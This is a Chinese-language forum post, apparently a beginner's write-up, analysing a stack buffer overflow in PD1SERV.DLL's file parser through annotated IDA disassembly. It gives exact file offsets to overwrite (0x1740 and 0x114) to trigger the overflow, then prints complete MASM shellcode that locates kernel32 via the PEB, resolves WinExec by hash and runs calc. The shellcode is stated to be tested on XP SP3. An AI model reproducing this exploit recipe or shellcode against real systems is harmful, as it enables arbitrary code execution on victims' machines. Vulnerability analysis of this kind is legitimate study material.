這是一個很過時的漏洞,也比較經典,作為入門是一個不錯的例子。。
根据最近崩溃点,回溯逐步跟踪,可以定位到存在问题的组件的组件为PD1SERV.DLL。
同时可以看到其中一种漏洞函数的调用关系如下:sub_32993742 ----> sub_32986A4F ----> sub_32986015 ----> sub_329863F1(漏洞函数)
下面从对PD1SERV.DLL解析文件结构进行分析(
IDA Base Address = 0x32900000)
sub_32993742 ----> sub_32986A4F
.text:32986A7F call [edx+VTABLE_PTR.Seek] ; 定位文件当前读取的位置
.text:32986AD2 call dword ptr [eax+0Ch] ; 从当前位置起读取0x28 byte数据
.text:32986B43 mov eax, [edi+1Ch] ; 28 byte中最后一个dword为循环次数
.text:32986B46 mov ecx, eax
.text:32986B48 dec eax
.text:32986B49 test ecx, ecx
.text:32986B4B mov [ebp+var_1C], eax
.text:32986B4E jz loc_32986C81
.text:32986B64 call dword ptr [ecx+0Ch] ; 读取接下来的20个字节
.text:32986BAE call dword ptr [eax+14h] ; 文件操作指针返回到开始读取的位置
.text:32986BE9 call dword ptr [ecx+14h] ; 定位到下个开始读取的位置,20 bytes中最后一个dword为偏移
.text:32986C5C call sub_32986015 ; 调用sub_32986015进入下一步结构解析
.text:32986C73 mov eax, [ebp+var_1C] ; 循环次数不为0则重复20 bytes的操作
.text:32986C76 dec [ebp+var_1C]
.text:32986C79 test eax, eax
.text:32986C7B jnz loc_32986B54
结构描述如下:
sub_32993742 ----> sub_32986A4F ----> sub_32986015
.text:3298605B call dword ptr [edx+14h] ; 定位文件当前读取的位置
.text:3298609E call dword ptr [eax+0Ch] ; 读取接下来的8个字节
.text:32986112 mov eax, [eax+18h] ; 8 bytes中,后一个dword为循环次数
.text:32986115 mov ecx, eax
.text:32986117 dec eax
.text:32986118 test ecx, ecx
.text:3298611A mov [ebp+pInterface], eax
.text:3298611D jz loc_3298624F
; 下面读取的8个bytes,后一个dword为下一次文件操作的偏移,前一个dword含义未知,看下面红色文字说明
.text:32986133 call dword ptr [ecx+0Ch] ; 读取接下来的8个字节
.text:32986178 lea ebx, [eax+ecx] ; 计算下一个操作的位置
.text:329861BC call dword ptr [ecx+14h] ; 把文件指针移到下一个操作的位置
; 该函数判断该读取8个bytes中前一个dword是否空,如果为空的话,就调用漏洞函数进行下一步解析,否则的话就调用sub_32985476进行下一步解析,要触发漏洞,该值一定要为空
.text:329861EE cmp [ebp+var_38], ebx ;
.text:329861F1 jz loc_329862B8
.。。。。。。。。。。。。
.text:32986215 call sub_32985476 ; 不为空时调用该函数做下一步解析
。。。。。。。。。。。。
.text:329862BC call ProblemFunction ; 为空时调用漏洞函数做下一步解析
.text:32986243 mov eax, [ebp+pInterface] ; 循环次数不为0则重复8 bytes的操作
.text:32986246 dec [ebp+pInterface]
.text:32986249 test eax, eax
.text:3298624B jnz short loc_32986295
结构描述如下:
sub_32993742 ----> sub_32986A4F ----> sub_32986015 ----> sub_329863F1(漏洞函数)
.text:3298641B call dword ptr [eax+0Ch] ; 读取当前位置的4个字节,为循环次数
; 读取接下来的8个字节,后一个dword为接下来需要读取的大小。
.text:32986468 call dword ptr [eax+0Ch]
; 这是根据前面读取的内容来进行动态读取的,而这里使用固定大小的栈Buffer来存放,因此会构成栈溢出
.text:32986475 mov eax, [ebp+var_114] ; 前面得到的8个bytes中的后一个dword
。。。。。。。。。。。。
.text:32986483 push edx
.text:32986484 push eax
.text:32986485 lea eax, [ebp+String] ; 使用一个0x100 bytes的栈空间存放数据
.text:3298648B push eax
.text:3298648C push edi
.text:3298648D call dword ptr [ecx+0Ch]
.text:329864BA inc esi ; 循环未结束则重复前面的8 bytes操作
.text:329864BB cmp esi, [ebp+var_8]
.text:329864BE jb short loc_32986458
漏洞文件可以通过修改偏移为0x1740处的大小为一个dword的域(该域指定接下来动态读取数据大小),并且在随后偏移0x114处填充返回地址和shellcode,使其造成缓冲区溢出并执行shellcode。详细结构及数据布局请看下面结构描述。
结构描述如下:
.586
.model flat,stdcall
option casemap:none
;include windows.inc
;include kernel32.inc
;include user32.inc
;
;includelib kernel32.lib
;includelib user32.lib
DAT_ExitProcess EQU 0*4
DAT_WinExec EQU 1*4
CONST_SIZE EQU 3*4
DATA_SIZE EQU 5*4
CON_ExitProcessHash EQU 0*4
CON_WinExecHash EQU 1*4
CON_ExeName EQU 2*4
CON_Null EQU 3*4
.code
start:
nop;
nop;
nop;
push edx;
push edx;
mov edi, esp;
call _init_const;
_init_const:
pop esi;
jmp _init_const_end
dword 05335741Ch; ----> ExitProcess
dword 0738925E2h; ----> WinExec
byte "calc"
dword 0h;
_init_const_end:
add esi, 3;
_find_base_addr_of_krnl:
assume fs:nothing
mov ebx, dword ptr fs:[30h];
mov ecx, dword ptr [ebx+0ch];
mov eax, dword ptr [ecx+1ch];
mov ecx, dword ptr [eax];
mov ebp, dword ptr [ecx+08h];
_init_api_addr:
mov edx, dword ptr ss:[esi][CON_ExitProcessHash];
call _get_api_addr_by_hash;
mov dword ptr ss:[edi][DAT_ExitProcess], eax;
mov edx, dword ptr ss:[esi][CON_WinExecHash];
call _get_api_addr_by_hash;
mov dword ptr ss:[edi][DAT_WinExec], eax;
_execute_function:
cdq;
push edx;
lea eax, dword ptr ss:[esi][CON_ExeName]
push eax;
call dword ptr ss:[edi][DAT_WinExec];
push edx;
call dword ptr ss:[edi][DAT_ExitProcess];
;
; Parameter -
; ebp ---> Specify the module base address !
; edx ---> Specify the hash value !
;
; Return -
; eax ---> The API address !
_get_api_addr_by_hash:
mov eax, dword ptr [ebp+3ch]; ---> get offset of the PE header !
mov ebx, dword ptr [ebp+eax+78h]; ---> located to rva of export entry !
add ebx, ebp; ---> calc the memory address !
mov ecx, dword ptr [ebx+14h]; ---> get the count of all names !
.while ecx > 0
push edx; ---> save the hash value !
mov eax, dword ptr [ebx+04h*08h]; ---> get the rva of names !
add eax, ebp; ---> the rva arrary address !
mov edx, dword ptr [eax+ecx*4-4]; ---> get one item !
add edx, ebp; ---> calc the address !
call _get_str_hash; ---> calc the hash !
pop edx;
.if eax == edx
; we find the api we need ! here we should get the api address !
mov eax, dword ptr [ebx+04h*07h];
add eax, ebp;
mov eax, dword ptr [eax+ecx*4-4];
add eax, ebp; ---> this is our api-address !
.break
.endif
dec ecx;
.endw
retn;
;
; Parameter -
; edx ---> Specify the string address need to be calc the hash value !
;
; Return -
; eax ---> return the hash value of string !
;
_get_str_hash:
push esi;
mov esi, edx;
cdq;
_hash_loop:
lodsb;
ror edx, 1
xor dl, al;
rol edx, 07h;
test al, al;
jnz _hash_loop;
pop esi;
xchg eax, edx;
retn;
nop;
nop;
nop;
end start
小弟還是頭一次做這麼正規的漏洞分析,有什麽不正確的地方請各位同學指正。。小小東西還真用了不少時間。棧溢出,比較基礎,剛入門必須掌握。。。ShellCode 在vmware-xp-sp3下測試通過,不支援其他OS 。。
前段時間因為工作調動等種種原因,謝絕了不少很好的工作機會,現在是有點後悔。想轉做內核開發,又因為工作經驗問題處處碰壁。。。。。非常渴望跟行業內的前輩學習,求推薦,求機會。。。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课